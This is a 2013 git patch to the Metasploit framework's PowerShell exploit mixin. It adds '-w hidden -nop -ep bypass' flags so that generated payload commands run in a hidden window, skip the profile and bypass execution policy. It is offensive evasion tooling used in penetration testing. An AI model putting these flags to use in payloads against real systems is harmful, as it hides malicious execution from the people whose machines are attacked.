From 60328d5b2add13deabd28ea450d3befd40200c93 Mon Sep 17 00:00:00 2001
From: Meatballs <eat_meatballs@hotmail.co.uk>
Date: Fri, 13 Sep 2013 21:22:15 +0100
Subject: [PATCH] Bypass no profile and hidden by default

---
 lib/msf/core/exploit/powershell.rb | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index dffb9da0a4..b1444680e7 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -80,7 +80,7 @@ module Exploit::Powershell
   # Runs powershell in hidden window raising interactive proc msg
   #
   def run_hidden_psh(ps_code,ps_bin='powershell.exe')
-    ps_args = "-e #{ compress_script(ps_code) }"
+    ps_args = "-w hidden -nop -ep bypass -e #{ compress_script(ps_code) }"
 
     ps_wrapper = <<EOS
 $si=New-Object System.Diagnostics.ProcessStartInfo
@@ -119,7 +119,7 @@ EOS
     # Wrap in hidden runtime
     psh_payload = run_hidden_psh(psh_payload,ps_bin)
     # Convert to base64 for -encodedcommand execution
-    command = "%COMSPEC% /B /C start /min powershell.exe -c #{psh_payload}\r\n"
+    command = "%COMSPEC% /B /C start /min powershell.exe -w hidden -nop -ep bypass -c #{psh_payload}\r\n"
   end